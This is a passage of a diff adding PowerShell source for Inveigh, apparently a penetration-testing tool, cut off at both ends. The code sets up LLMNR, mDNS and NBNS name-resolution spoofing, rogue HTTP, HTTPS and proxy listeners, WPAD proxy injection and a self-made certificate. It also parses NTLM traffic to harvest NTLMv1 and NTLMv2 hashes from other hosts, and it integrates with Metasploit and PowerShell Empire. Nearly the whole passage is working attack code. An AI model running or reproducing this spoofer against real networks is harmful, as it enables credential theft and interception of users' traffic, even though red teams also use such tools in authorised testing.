netstat -anp TCP | findstr LISTENING | findstr /C:"$HTTPIP`:$ProxyPort " + } + + if($LLMNR -eq 'Y' -and !$elevated_privilege) + { + $LLMNR_port_check = netstat -anp UDP | findstr /C:"0.0.0.0:5355 " + } + + if($mDNS -eq 'Y' -and !$elevated_privilege) + { + $mDNS_port_check = netstat -anp UDP | findstr /C:"0.0.0.0:5353 " + } + +} + +if(!$elevated_privilege) +{ + + if($HTTPS -eq 'Y') + { + Write-Output "Error:-HTTPS requires elevated privileges" + throw + } + + if($SpooferLearning -eq 'Y') + { + Write-Output "Error:-SpooferLearning requires elevated privileges" + throw + } + + $NBNS = "Y" + $SMB = "N" + +} + +$inveigh.hostname_spoof = $false +$inveigh.running = $true + +if($StatusOutput -eq 'Y') +{ + $inveigh.status_output = $true +} +else +{ + $inveigh.status_output = $false +} + +if($OutputStreamOnly -eq 'Y') +{ + $inveigh.output_stream_only = $true +} +else +{ + $inveigh.output_stream_only = $false +} + +if($Inspect) +{ + + if($elevated_privilege) + { + $LLMNR = "N" + $mDNS = "N" + $NBNS = "N" + $HTTP = "N" + $HTTPS = "N" + $Proxy = "N" + } + else + { + $HTTP = "N" + $HTTPS = "N" + $Proxy = "N" + } + +} + +if($Tool -eq 1) # Metasploit Interactive PowerShell Payloads and Meterpreter's PowerShell Extension +{ + $inveigh.tool = 1 + $inveigh.output_stream_only = $true + $inveigh.newline = "" + $ConsoleOutput = "N" + +} +elseif($Tool -eq 2) # PowerShell Empire +{ + $inveigh.tool = 2 + $inveigh.output_stream_only = $true + $inveigh.console_input = $false + $inveigh.newline = "`n" # remove for Empire 2.0 + $LogOutput = "N" + $ShowHelp = "N" + + switch ($ConsoleOutput) + { + + 'Low' + { + $ConsoleOutput = "Low" + } + + 'Medium' + { + $ConsoleOutput = "Medium" + } + + default + { + $ConsoleOutput = "Y" + } + + } + +} +else +{ + $inveigh.tool = 0 + $inveigh.newline = "" +} + +# Write startup messages +$inveigh.status_queue.Add("Inveigh $inveigh_version started at $(Get-Date -format 's')") > $null + +if($FileOutput -eq 'Y') +{ + $inveigh.log_file_queue.Add("$(Get-Date -format 's') - Inveigh $inveigh_version started") > $null +} + +if($LogOutput -eq 'Y') +{ + $inveigh.log.Add("$(Get-Date -format 's') - Inveigh started") > $null + $inveigh.log_output = $true +} +else +{ + $inveigh.log_output = $false +} + +if($ElevatedPrivilege -eq 'Y' -or $elevated_privilege) +{ + $inveigh.status_queue.Add("Elevated Privilege Mode = Enabled") > $null +} +else +{ + $inveigh.status_queue.Add("Elevated Privilege Mode = Disabled") > $null +} + +if($firewall_status) +{ + $inveigh.status_queue.Add("Windows Firewall = Enabled") > $null + $firewall_rules = New-Object -comObject HNetCfg.FwPolicy2 + $firewall_powershell = $firewall_rules.rules | Where-Object {$_.Enabled -eq $true -and $_.Direction -eq 1} |Select-Object -Property Name | Select-String "Windows PowerShell}" + + if($firewall_powershell) + { + $inveigh.status_queue.Add("Windows Firewall - PowerShell.exe = Allowed") > $null + } + +} + +$inveigh.status_queue.Add("Primary IP Address = $IP") > $null + +if($LLMNR -eq 'Y' -or $mDNS -eq 'Y' -or $NBNS -eq 'Y') +{ + $inveigh.status_queue.Add("LLMNR/mDNS/NBNS Spoofer IP Address = $SpooferIP") > $null +} + +if($LLMNR -eq 'Y') +{ + + if($elevated_privilege -or !$LLMNR_port_check) + { + $inveigh.status_queue.Add("LLMNR Spoofer = Enabled") > $null + $inveigh.status_queue.Add("LLMNR TTL = $LLMNRTTL Seconds") > $null + $LLMNR_response_message = "- response sent" + } + else + { + $LLMNR = "N" + $inveigh.status_queue.Add("LLMNR Spoofer Disabled Due To In Use Port 5355") > $null + } + +} +else +{ + $inveigh.status_queue.Add("LLMNR Spoofer = Disabled") > $null + $LLMNR_response_message = "- LLMNR spoofer is disabled" +} + +if($mDNS -eq 'Y') +{ + + if($elevated_privilege -or !$mDNS_port_check) + { + $mDNSTypes_output = $mDNSTypes -join "," + + if($mDNSTypes.Count -eq 1) + { + $inveigh.status_queue.Add("mDNS Spoofer For Type $mDNSTypes_output = Enabled") > $null + } + else + { + $inveigh.status_queue.Add("mDNS Spoofer For Types $mDNSTypes_output = Enabled") > $null + } + + $inveigh.status_queue.Add("mDNS TTL = $mDNSTTL Seconds") > $null + $mDNS_response_message = "- response sent" + + } + else + { + $mDNS = "N" + $inveigh.status_queue.Add("mDNS Spoofer Disabled Due To In Use Port 5353") > $null + } + +} +else +{ + $inveigh.status_queue.Add("mDNS Spoofer = Disabled") > $null + $mDNS_response_message = "- mDNS spoofer is disabled" +} + +if($NBNS -eq 'Y') +{ + $NBNSTypes_output = $NBNSTypes -join "," + $NBNS_response_message = "- response sent" + + if($NBNSTypes.Count -eq 1) + { + $inveigh.status_queue.Add("NBNS Spoofer For Type $NBNSTypes_output = Enabled") > $null + } + else + { + $inveigh.status_queue.Add("NBNS Spoofer For Types $NBNSTypes_output = Enabled") > $null + } + +} +else +{ + $inveigh.status_queue.Add("NBNS Spoofer = Disabled") > $null + $NBNS_response_message = "- NBNS spoofer is disabled" +} + +if($NBNSBruteForce -eq 'Y') +{ + $inveigh.status_queue.Add("NBNS Brute Force Spoofer Target = $NBNSBruteForceTarget") > $null + $inveigh.status_queue.Add("NBNS Brute Force Spoofer IP Address = $SpooferIP") > $null + $inveigh.status_queue.Add("NBNS Brute Force Spoofer Hostname = $NBNSBruteForceHost") > $null + + if($NBNSBruteForcePause) + { + $inveigh.status_queue.Add("NBNS Brute Force Pause = $NBNSBruteForcePause Seconds") > $null + } + +} + +if($NBNS -eq 'Y' -or $NBNSBruteForce -eq 'Y') +{ + $inveigh.status_queue.Add("NBNS TTL = $NBNSTTL Seconds") > $null +} + +if($SpooferLearning -eq 'Y' -and ($LLMNR -eq 'Y' -or $NBNS -eq 'Y')) +{ + $inveigh.status_queue.Add("Spoofer Learning = Enabled") > $null + + if($SpooferLearningDelay -eq 1) + { + $inveigh.status_queue.Add("Spoofer Learning Delay = $SpooferLearningDelay Minute") > $null + } + elseif($SpooferLearningDelay -gt 1) + { + $inveigh.status_queue.Add("Spoofer Learning Delay = $SpooferLearningDelay Minutes") > $null + } + + if($SpooferLearningInterval -eq 1) + { + $inveigh.status_queue.Add("Spoofer Learning Interval = $SpooferLearningInterval Minute") > $null + } + elseif($SpooferLearningInterval -eq 0) + { + $inveigh.status_queue.Add("Spoofer Learning Interval = Disabled") > $null + } + elseif($SpooferLearningInterval -gt 1) + { + $inveigh.status_queue.Add("Spoofer Learning Interval = $SpooferLearningInterval Minutes") > $null + } + +} + +if($SpooferHostsReply -and ($LLMNR -eq 'Y' -or $NBNS -eq 'Y')) +{ + $inveigh.status_queue.Add("Spoofer Hosts Reply = " + ($SpooferHostsReply -join ",")) > $null +} + +if($SpooferHostsIgnore -and ($LLMNR -eq 'Y' -or $NBNS -eq 'Y')) +{ + $inveigh.status_queue.Add("Spoofer Hosts Ignore = " + ($SpooferHostsIgnore -join ",")) > $null +} + +if($SpooferIPsReply -and ($LLMNR -eq 'Y' -or $NBNS -eq 'Y')) +{ + $inveigh.status_queue.Add("Spoofer IPs Reply = " + ($SpooferIPsReply -join ",")) > $null +} + +if($SpooferIPsIgnore -and ($LLMNR -eq 'Y' -or $NBNS -eq 'Y')) +{ + $inveigh.status_queue.Add("Spoofer IPs Ignore = " + ($SpooferIPsIgnore -join ",")) > $null +} + +if($SpooferRepeat -eq 'N') +{ + $inveigh.spoofer_repeat = $false + $inveigh.status_queue.Add("Spoofer Repeating = Disabled") > $null +} +else +{ + $inveigh.spoofer_repeat = $true +} + +if($SMB -eq 'Y' -and $elevated_privilege) +{ + $inveigh.status_queue.Add("SMB Capture = Enabled") > $null +} +else +{ + $inveigh.status_queue.Add("SMB Capture = Disabled") > $null +} + +if($HTTP -eq 'Y') +{ + + if($HTTP_port_check) + { + $HTTP = "N" + $inveigh.status_queue.Add("HTTP Capture Disabled Due To In Use Port $HTTPPort") > $null + } + else + { + + if($HTTPIP -ne '0.0.0.0') + { + $inveigh.status_queue.Add("HTTP IP = $HTTPIP") > $null + } + + if($HTTPPort -ne 80) + { + $inveigh.status_queue.Add("HTTP Port = $HTTPPort") > $null + } + + $inveigh.status_queue.Add("HTTP Capture = Enabled") > $null + } + +} +else +{ + $inveigh.status_queue.Add("HTTP Capture = Disabled") > $null +} + +if($HTTPS -eq 'Y') +{ + + if($HTTPS_port_check) + { + $HTTPS = "N" + $inveigh.HTTPS = $false + $inveigh.status_queue.Add("HTTPS Capture Disabled Due To In Use Port $HTTPSPort") > $null + } + else + { + + try + { + $inveigh.certificate_issuer = $HTTPSCertIssuer + $inveigh.certificate_CN = $HTTPSCertSubject + $inveigh.status_queue.Add("HTTPS Certificate Issuer = " + $inveigh.certificate_issuer) > $null + $inveigh.status_queue.Add("HTTPS Certificate CN = " + $inveigh.certificate_CN) > $null + $certificate_check = (Get-ChildItem Cert:\LocalMachine\My | Where-Object {$_.Issuer -Like "CN=" + $inveigh.certificate_issuer}) + + if(!$certificate_check) + { + # credit to subTee for cert creation code https://github.com/subTee/Interceptor + $certificate_distinguished_name = new-object -com "X509Enrollment.CX500DistinguishedName" + $certificate_distinguished_name.Encode( "CN=" + $inveigh.certificate_CN, $certificate_distinguished_name.X500NameFlags.X500NameFlags.XCN_CERT_NAME_STR_NONE) + $certificate_issuer_distinguished_name = new-object -com "X509Enrollment.CX500DistinguishedName" + $certificate_issuer_distinguished_name.Encode("CN=" + $inveigh.certificate_issuer, $certificate_distinguished_name.X500NameFlags.X500NameFlags.XCN_CERT_NAME_STR_NONE) + $certificate_key = new-object -com "X509Enrollment.CX509PrivateKey" + $certificate_key.ProviderName = "Microsoft Enhanced RSA and AES Cryptographic Provider" + $certificate_key.KeySpec = 2 + $certificate_key.Length = 2048 + $certificate_key.MachineContext = 1 + $certificate_key.Create() + $certificate_server_auth_OID = new-object -com "X509Enrollment.CObjectId" + $certificate_server_auth_OID.InitializeFromValue("1.3.6.1.5.5.7.3.1") + $certificate_enhanced_key_usage_OID = new-object -com "X509Enrollment.CObjectIds.1" + $certificate_enhanced_key_usage_OID.add($certificate_server_auth_OID) + $certificate_enhanced_key_usage_extension = new-object -com "X509Enrollment.CX509ExtensionEnhancedKeyUsage" + $certificate_enhanced_key_usage_extension.InitializeEncode($certificate_enhanced_key_usage_OID) + $certificate = new-object -com "X509Enrollment.CX509CertificateRequestCertificate" + $certificate.InitializeFromPrivateKey(2,$certificate_key,"") + $certificate.Subject = $certificate_distinguished_name + $certificate.Issuer = $certificate_issuer_distinguished_name + $certificate.NotBefore = (get-date).AddDays(-271) + $certificate.NotAfter = $certificate.NotBefore.AddDays(824) + $certificate_hash_algorithm_OID = New-Object -ComObject X509Enrollment.CObjectId + $certificate_hash_algorithm_OID.InitializeFromAlgorithmName(1,0,0,"SHA256") + $certificate.HashAlgorithm = $certificate_hash_algorithm_OID + $certificate.X509Extensions.Add($certificate_enhanced_key_usage_extension) + $certificate_basic_constraints = new-object -com "X509Enrollment.CX509ExtensionBasicConstraints" + $certificate_basic_constraints.InitializeEncode("true",1) + $certificate.X509Extensions.Add($certificate_basic_constraints) + $certificate.Encode() + $certificate_enrollment = new-object -com "X509Enrollment.CX509Enrollment" + $certificate_enrollment.InitializeFromRequest($certificate) + $certificate_data = $certificate_enrollment.CreateRequest(0) + $certificate_enrollment.InstallResponse(2,$certificate_data,0,"") + $inveigh.certificate = (Get-ChildItem Cert:\LocalMachine\My | Where-Object {$_.Issuer -match $inveigh.certificate_issuer}) + } + else + { + + if($HTTPSForceCertDelete -eq 'Y') + { + $inveigh.HTTPS_force_certificate_delete = $true + } + + $inveigh.HTTPS_existing_certificate = $true + $inveigh.status_queue.Add("HTTPS Capture = Using Existing Certificate") > $null + } + + $inveigh.HTTPS = $true + + if($HTTPIP -ne '0.0.0.0') + { + $inveigh.status_queue.Add("HTTPS IP = $HTTPIP") > $null + } + + if($HTTPSPort -ne 443) + { + $inveigh.status_queue.Add("HTTPS Port = $HTTPSPort") > $null + } + + $inveigh.status_queue.Add("HTTPS Capture = Enabled") > $null + + } + catch + { + $HTTPS = "N" + $inveigh.HTTPS = $false + $inveigh.status_queue.Add("HTTPS Capture Disabled Due To Certificate Error") > $null + } + + } + +} +else +{ + $inveigh.status_queue.Add("HTTPS Capture = Disabled") > $null +} + +if($HTTP -eq 'Y' -or $HTTPS -eq 'Y') +{ + $inveigh.status_queue.Add("HTTP/HTTPS Authentication = $HTTPAuth") > $null + $inveigh.status_queue.Add("WPAD Authentication = $WPADAuth") > $null + + if($WPADAuth -like "NTLM*") + { + $WPADAuthIgnore = ($WPADAuthIgnore | Where-Object {$_ -and $_.Trim()}) + + if($WPADAuthIgnore.Count -gt 0) + { + $inveigh.status_queue.Add("WPAD NTLM Authentication Ignore List = " + ($WPADAuthIgnore -join ",")) > $null + } + + } + + if($HTTPDir -and !$HTTPResponse) + { + $inveigh.status_queue.Add("HTTP/HTTPS Directory = $HTTPDir") > $null + + if($HTTPDefaultFile) + { + $inveigh.status_queue.Add("HTTP/HTTPS Default Response File = $HTTPDefaultFile") > $null + } + + if($HTTPDefaultEXE) + { + $inveigh.status_queue.Add("HTTP/HTTPS Default Response Executable = $HTTPDefaultEXE") > $null + } + + } + + if($HTTPResponse) + { + $inveigh.status_queue.Add("HTTP/HTTPS Response = Enabled") > $null + } + + if($HTTPResponse -or $HTTPDir -and $HTTPContentType -ne 'html/text') + { + $inveigh.status_queue.Add("HTTP/HTTPS/Proxy Content Type = $HTTPContentType") > $null + } + + if($HTTPAuth -eq 'Basic' -or $WPADAuth -eq 'Basic') + { + $inveigh.status_queue.Add("Basic Authentication Realm = $HTTPBasicRealm") > $null + } + + $HTTPResetDelay = ($HTTPResetDelay | Where-Object {$_ -and $_.Trim()}) + + if($HTTPResetDelay.Count -gt 0) + { + $inveigh.status_queue.Add("HTTP Reset Delay List = " + ($HTTPResetDelay -join ",")) > $null + $inveigh.status_queue.Add("HTTP Reset Delay Timeout = $HTTPResetDelayTimeout Seconds") > $null + } + + if($Proxy -eq 'Y') + { + + if($proxy_port_check) + { + $Proxy = "N" + $inveigh.status_queue.Add("Proxy Capture Disabled Due To In Use Port $ProxyPort") > $null + } + else + { + $inveigh.status_queue.Add("Proxy Capture = Enabled") > $null + $inveigh.status_queue.Add("Proxy Port = $ProxyPort") > $null + $inveigh.status_queue.Add("Proxy Authentication = $ProxyAuth") > $null + $ProxyPortFailover = $ProxyPort + 1 + $ProxyIgnore = ($ProxyIgnore | Where-Object {$_ -and $_.Trim()}) + + if($ProxyIgnore.Count -gt 0) + { + $inveigh.status_queue.Add("Proxy Ignore List = " + ($ProxyIgnore -join ",")) > $null + } + + if($ProxyIP -eq '0.0.0.0') + { + $proxy_WPAD_IP = $IP + } + else + { + $proxy_WPAD_IP = $ProxyIP + } + + if($WPADIP -and $WPADPort) + { + $WPADResponse = "function FindProxyForURL(url,host){$WPAD_direct_hosts_function return `"PROXY $proxy_WPAD_IP`:$ProxyPort; PROXY $WPADIP`:$WPADPort; DIRECT`";}" + } + else + { + $WPADResponse = "function FindProxyForURL(url,host){$WPAD_direct_hosts_function return `"PROXY $proxy_WPAD_IP`:$ProxyPort; PROXY $proxy_wpad_IP`:$ProxyPortFailover; DIRECT`";}" + } + + } + + } + + if($WPADDirectHosts) + { + ForEach($WPAD_direct_host in $WPADDirectHosts) + { + $WPAD_direct_hosts_function += 'if (dnsDomainIs(host, "' + $WPAD_direct_host + '")) return "DIRECT";' + } + + $inveigh.status_queue.Add("WPAD Direct Hosts = " + ($WPADDirectHosts -join ",")) > $null + } + + if($WPADResponse -and $Proxy -eq 'N') + { + $inveigh.status_queue.Add("WPAD Custom Response = Enabled") > $null + } + elseif($WPADResponse -and $Proxy -eq 'Y') + { + $inveigh.status_queue.Add("WPAD Proxy Response = Enabled") > $null + + if($WPADIP -and $WPADPort) + { + $inveigh.status_queue.Add("WPAD Failover = $WPADIP`:$WPADPort") > $null + } + + } + elseif($WPADIP -and $WPADPort) + { + $inveigh.status_queue.Add("WPAD Response = Enabled") > $null + $inveigh.status_queue.Add("WPAD = $WPADIP`:$WPADPort") > $null + + if($WPADDirectHosts) + { + ForEach($WPAD_direct_host in $WPADDirectHosts) + { + $WPAD_direct_hosts_function += 'if (dnsDomainIs(host, "' + $WPAD_direct_host + '")) return "DIRECT";' + } + + $WPADResponse = "function FindProxyForURL(url,host){" + $WPAD_direct_hosts_function + "return `"PROXY " + $WPADIP + ":" + $WPADPort + "`";}" + $inveigh.status_queue.Add("WPAD Direct Hosts = " + ($WPADDirectHosts -join ",")) > $null + } + else + { + $WPADResponse = "function FindProxyForURL(url,host){$WPAD_direct_hosts_function return `"PROXY $WPADIP`:$WPADPort; DIRECT`";}" + } + + } + elseif($WPADDirectFile -eq 'Y') + { + $inveigh.status_queue.Add("WPAD Default Response = Enabled") > $null + $WPADResponse = "function FindProxyForURL(url,host){return `"DIRECT`";}" + } + + if($Challenge) + { + $inveigh.status_queue.Add("NTLM Challenge = $Challenge") > $null + } + +} + +if($MachineAccounts -eq 'N') +{ + $inveigh.status_queue.Add("Machine Account Capture = Disabled") > $null + $inveigh.machine_accounts = $false +} +else +{ + $inveigh.machine_accounts = $true +} + +if($ConsoleOutput -ne 'N') +{ + + if($ConsoleOutput -eq 'Y') + { + $inveigh.status_queue.Add("Real Time Console Output = Enabled") > $null + } + else + { + $inveigh.status_queue.Add("Real Time Console Output = $ConsoleOutput") > $null + } + + $inveigh.console_output = $true + + if($ConsoleStatus -eq 1) + { + $inveigh.status_queue.Add("Console Status = $ConsoleStatus Minute") > $null + } + elseif($ConsoleStatus -gt 1) + { + $inveigh.status_queue.Add("Console Status = $ConsoleStatus Minutes") > $null + } + +} +else +{ + + if($inveigh.tool -eq 1) + { + $inveigh.status_queue.Add("Real Time Console Output Disabled Due To External Tool Selection") > $null + } + else + { + $inveigh.status_queue.Add("Real Time Console Output = Disabled") > $null + } + +} + +if($ConsoleUnique -eq 'Y') +{ + $inveigh.console_unique = $true +} +else +{ + $inveigh.console_unique = $false +} + +if($FileOutput -eq 'Y') +{ + $inveigh.status_queue.Add("Real Time File Output = Enabled") > $null + $inveigh.status_queue.Add("Output Directory = $output_directory") > $null + $inveigh.file_output = $true +} +else +{ + $inveigh.status_queue.Add("Real Time File Output = Disabled") > $null +} + +if($FileUnique -eq 'Y') +{ + $inveigh.file_unique = $true +} +else +{ + $inveigh.file_unique = $false +} + +if($RunCount) +{ + $inveigh.status_queue.Add("Run Count = $RunCount") > $null +} + +if($RunTime -eq 1) +{ + $inveigh.status_queue.Add("Run Time = $RunTime Minute") > $null +} +elseif($RunTime -gt 1) +{ + $inveigh.status_queue.Add("Run Time = $RunTime Minutes") > $null +} + +if($ShowHelp -eq 'Y') +{ + $inveigh.status_queue.Add("Run Stop-Inveigh to stop Inveigh") > $null + + if($inveigh.console_output) + { + $inveigh.status_queue.Add("Press any key to stop real time console output") > $null + } + +} + +if($inveigh.status_output) +{ + + while($inveigh.status_queue.Count -gt 0) + { + + switch -Wildcard ($inveigh.status_queue[0]) + { + + {$_ -like "* Disabled Due To *" -or $_ -like "Run Stop-Inveigh to stop Inveigh" -or $_ -like "Windows Firewall = Enabled"} + { + + if($inveigh.output_stream_only) + { + Write-Output($inveigh.status_queue[0] + $inveigh.newline) + } + else + { + Write-Warning($inveigh.status_queue[0]) + } + + $inveigh.status_queue.RemoveAt(0) + } + + default + { + + if($inveigh.output_stream_only) + { + Write-Output($inveigh.status_queue[0] + $inveigh.newline) + } + else + { + Write-Output($inveigh.status_queue[0]) + } + + $inveigh.status_queue.RemoveAt(0) + } + + } + + } + +} + +# Begin ScriptBlocks + +# Shared Basic Functions ScriptBlock +$shared_basic_functions_scriptblock = +{ + + function DataToUInt16($field) + { + [Array]::Reverse($field) + return [System.BitConverter]::ToUInt16($field,0) + } + + function DataToUInt32($field) + { + [Array]::Reverse($field) + return [System.BitConverter]::ToUInt32($field,0) + } + + function DataLength2 + { + param ([Int]$length_start,[Byte[]]$string_extract_data) + + $string_length = [System.BitConverter]::ToUInt16($string_extract_data[$length_start..($length_start + 1)],0) + return $string_length + } + + function DataLength4 + { + param ([Int]$length_start,[Byte[]]$string_extract_data) + + $string_length = [System.BitConverter]::ToUInt32($string_extract_data[$length_start..($length_start + 3)],0) + return $string_length + } + + function DataToString + { + param ([Int]$string_start,[Int]$string_length,[Byte[]]$string_extract_data) + + $string_data = [System.BitConverter]::ToString($string_extract_data[$string_start..($string_start + $string_length - 1)]) + $string_data = $string_data -replace "-00","" + $string_data = $string_data.Split("-") | ForEach-Object{[Char][System.Convert]::ToInt16($_,16)} + $string_extract = New-Object System.String ($string_data,0,$string_data.Length) + return $string_extract + } + + function ConvertFrom-PacketOrderedDictionary + { + param($packet_ordered_dictionary) + + ForEach($field in $packet_ordered_dictionary.Values) + { + $byte_array += $field + } + + return $byte_array + } + +} + +# SMB NTLM Functions ScriptBlock - function for parsing NTLM challenge/response +$SMB_NTLM_functions_scriptblock = +{ + + function SMBNTLMChallenge + { + param ([Byte[]]$payload_bytes) + + $payload = [System.BitConverter]::ToString($payload_bytes) + $payload = $payload -replace "-","" + $NTLM_index = $payload.IndexOf("4E544C4D53535000") + + if($NTLM_index -gt 0 -and $payload.SubString(($NTLM_index + 16),8) -eq "02000000") + { + $NTLM_challenge = $payload.SubString(($NTLM_index + 48),16) + } + + return $NTLM_challenge + } + + function SMBNTLMResponse + { + param ([Byte[]]$payload_bytes) + + $payload = [System.BitConverter]::ToString($payload_bytes) + $payload = $payload -replace "-","" + $NTLMSSP_hex_offset = $payload.IndexOf("4E544C4D53535000") + + if($NTLMSSP_hex_offset -gt 0 -and $payload.SubString(($NTLMSSP_hex_offset + 16),8) -eq "03000000") + { + $NTLMSSP_offset = $NTLMSSP_hex_offset / 2 + + $LM_length = DataLength2 ($NTLMSSP_offset + 12) $payload_bytes + $LM_offset = DataLength4 ($NTLMSSP_offset + 16) $payload_bytes + $LM_response = [System.BitConverter]::ToString($payload_bytes[($NTLMSSP_offset + $LM_offset)..($NTLMSSP_offset + $LM_offset + $LM_length - 1)]) -replace "-","" + + $NTLM_length = DataLength2 ($NTLMSSP_offset + 20) $payload_bytes + $NTLM_offset = DataLength4 ($NTLMSSP_offset + 24) $payload_bytes + $NTLM_response = [System.BitConverter]::ToString($payload_bytes[($NTLMSSP_offset + $NTLM_offset)..($NTLMSSP_offset + $NTLM_offset + $NTLM_length - 1)]) -replace "-","" + + $domain_length = DataLength2 ($NTLMSSP_offset + 28) $payload_bytes + $domain_offset = DataLength4 ($NTLMSSP_offset + 32) $payload_bytes + $NTLM_domain_string = DataToString ($NTLMSSP_offset + $domain_offset) $domain_length $payload_bytes + + $user_length = DataLength2 ($NTLMSSP_offset + 36) $payload_bytes + $user_offset = DataLength4 ($NTLMSSP_offset + 40) $payload_bytes + $NTLM_user_string = DataToString ($NTLMSSP_offset + $user_offset) $user_length $payload_bytes + + $host_length = DataLength2 ($NTLMSSP_offset + 44) $payload_bytes + $host_offset = DataLength4 ($NTLMSSP_offset + 48) $payload_bytes + $NTLM_host_string = DataToString ($NTLMSSP_offset + $host_offset) $host_length $payload_bytes + + if($NTLM_length -gt 24) + { + $NTLMv2_response = $NTLM_response.Insert(32,':') + $NTLMv2_hash = $NTLM_user_string + "::" + $NTLM_domain_string + ":" + $NTLM_challenge + ":" + $NTLMv2_response + + if($source_IP -ne $IP -and ($inveigh.machine_accounts -or (!$inveigh.machine_accounts -and -not $NTLM_user_string.EndsWith('$')))) + { + + if($inveigh.file_output) + { + $inveigh.log_file_queue.Add("$(Get-Date -format 's') - SMB NTLMv2 challenge/response for $NTLM_domain_string\$NTLM_user_string captured from $source_IP($NTLM_host_string)") + } + + if($inveigh.log_output) + { + $inveigh.log.Add("$(Get-Date -format 's') - SMB NTLMv2 challenge/response for $NTLM_domain_string\$NTLM_user_string captured from $source_IP($NTLM_host_string)") + } + + $inveigh.NTLMv2_list.Add($NTLMv2_hash) + + if(!$inveigh.console_unique -or ($inveigh.console_unique -and $inveigh.NTLMv2_username_list -notcontains "$source_IP $NTLM_domain_string\$NTLM_user_string")) + { + $inveigh.console_queue.Add("$(Get-Date -format 's') - SMB NTLMv2 challenge/response captured from $source_IP($NTLM_host_string):`n$NTLMv2_hash") + } + else + { + $inveigh.console_queue.Add("$(Get-Date -format 's') - SMB NTLMv2 challenge/response captured from $source_IP($NTLM_host_string):`n$NTLM_domain_string\$NTLM_user_string - not unique") + } + + if($inveigh.file_output -and (!$inveigh.file_unique -or ($inveigh.file_unique -and $inveigh.NTLMv2_username_list -notcontains "$source_IP $NTLM_domain_string\$NTLM_user_string"))) + { + $inveigh.NTLMv2_file_queue.Add($NTLMv2_hash) + $inveigh.console_queue.Add("SMB NTLMv2 challenge/response written to " + $inveigh.NTLMv2_out_file) + } + + if($inveigh.NTLMv2_username_list -notcontains "$source_IP $NTLM_domain_string\$NTLM_user_string") + { + $inveigh.NTLMv2_username_list.Add("$source_IP $NTLM_domain_string\$NTLM_user_string") + } + + if($inveigh.IP_capture_list -notcontains $source_IP -and -not $NTLM_user_string.EndsWith('$') -and !$inveigh.spoofer_repeat -and $source_IP -ne $IP) + { + $inveigh.IP_capture_list.Add($source_IP.IPAddressToString) + } + + } + + } + elseif($NTLM_length -eq 24) + { + $NTLMv1_hash = $NTLM_user_string + "::" + $NTLM_domain_string + ":" + $LM_response + ":" + $NTLM_response + ":" + $NTLM_challenge + + if($source_IP -ne $IP -and ($inveigh.machine_accounts -or (!$inveigh.machine_accounts -and -not $NTLM_user_string.EndsWith('$')))) + { + + if($inveigh.file_output) + { + $inveigh.log_file_queue.Add("$(Get-Date -format 's') - SMB NTLMv1 challenge/response for $NTLM_domain_string\$NTLM_user_string captured from $source_IP($NTLM_host_string)") + } + + if($inveigh.log_output) + { + $inveigh.log.Add("$(Get-Date -format 's') - SMB NTLMv1 challenge/response for $NTLM_domain_string\$NTLM_user_string captured from $source_IP($NTLM_host_string)") + } + + $inveigh.NTLMv1_list.Add($NTLMv1_hash) + + if(!$inveigh.console_unique -or ($inveigh.console_unique -and $inveigh.NTLMv1_username_list -notcontains "$source_IP $NTLM_domain_string\$NTLM_user_string")) + { + $inveigh.console_queue.Add("$(Get-Date -format 's') SMB NTLMv1 challenge/response captured from $source_IP($NTLM_host_string):`n$NTLMv1_hash") + } + else + { + $inveigh.console_queue.Add("$(Get-Date -format 's') - SMB NTLMv1 challenge/response captured from $source_IP($NTLM_host_string):`n$NTLM_domain_string\$NTLM_user_string - not unique") + } + + if($inveigh.file_output -and (!$inveigh.file_unique -or ($inveigh.file_unique -and $inveigh.NTLMv1_username_list -notcontains "$source_IP $NTLM_domain_string\$NTLM_user_string"))) + { + $inveigh.NTLMv1_file_queue.Add($NTLMv1_hash) + $inveigh.console_queue.Add("SMB NTLMv1 challenge/response written to " + $inveigh.NTLMv1_out_file) + } + + if($inveigh.NTLMv1_username_list -notcontains "$source_IP $NTLM_domain_string\$NTLM_user_string") + { + $inveigh.NTLMv1_username_list.Add("$source_IP $NTLM_domain_string\$NTLM_user_string") + } + + if($inveigh.IP_capture_list -notcontains $source_IP -and -not $NTLM_user_string.EndsWith('$') -and !$inveigh.spoofer_repeat -and $source_IP -ne $IP) + { + $inveigh.IP_capture_list.Add($source_IP.IPAddressToString) + } + + } + + } + + } + + } + +} + +# HTTP Server ScriptBlock - HTTP/HTTPS/Proxy listener +$HTTP_scriptblock = +{ + param ($Challenge,$HTTPAuth,$HTTPBasicRealm,$HTTPContentType,$HTTPIP,$HTTPPort,$HTTPDefaultEXE,$HTTPDefaultFile,$HTTPDir,$HTTPResetDelay,$HTTPResetDelayTimeout,$HTTPResponse, + $HTTPS_listener,$NBNSBruteForcePause,$Proxy,$ProxyIgnore,$proxy_listener,$WPADAuth,$WPADAuthIgnore,$WPADResponse) + + function NTLMChallengeBase64 + { + param ([String]$Challenge,[Bool]$NTLMESS,[String]$ClientIPAddress,[Int]$ClientPort) + + $HTTP_timestamp = Get-Date + $HTTP_timestamp = $HTTP_timestamp.ToFileTime() + $HTTP_timestamp = [System.BitConverter]::ToString([System.BitConverter]::GetBytes($HTTP_timestamp)) + $HTTP_timestamp = $HTTP_timestamp.Split("-") | ForEach-Object{[Char][System.Convert]::ToInt16($_,16)} + + if($Challenge) + { + $HTTP_challenge = $Challenge + $HTTP_challenge_bytes = $HTTP_challenge.Insert(2,'-').Insert(5,'-').Insert(8,'-').Insert(11,'-').Insert(14,'-').Insert(17,'-').Insert(20,'-') + $HTTP_challenge_bytes = $HTTP_challenge_bytes.Split("-") | ForEach-Object{[Char][System.Convert]::ToInt16($_,16)} + } + else + { + $HTTP_challenge_bytes = [String](1..8 | ForEach-Object {"{0:X2}" -f (Get-Random -Minimum 1 -Maximum 255)}) + $HTTP_challenge = $HTTP_challenge_bytes -replace ' ', '' + $HTTP_challenge_bytes = $HTTP_challenge_bytes.Split(" ") | ForEach-Object{[Char][System.Convert]::ToInt16($_,16)} + } + + $inveigh.HTTP_challenge_queue.Add($ClientIPAddress + $ClientPort + ',' + $HTTP_challenge) > $null + + if($NTLMESS) + { + $HTTP_NTLM_negotiation_flags = 0x05,0x82,0x89,0x0a + } + else + { + $HTTP_NTLM_negotiation_flags = 0x05,0x82,0x81,0x0a + } + + $HTTP_NTLM_bytes = 0x4e,0x54,0x4c,0x4d,0x53,0x53,0x50,0x00,0x02,0x00,0x00,0x00,0x06,0x00,0x06,0x00,0x38, + 0x00,0x00,0x00 + + $HTTP_NTLM_negotiation_flags + + $HTTP_challenge_bytes + + 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x82,0x00,0x82,0x00,0x3e,0x00,0x00,0x00,0x06, + 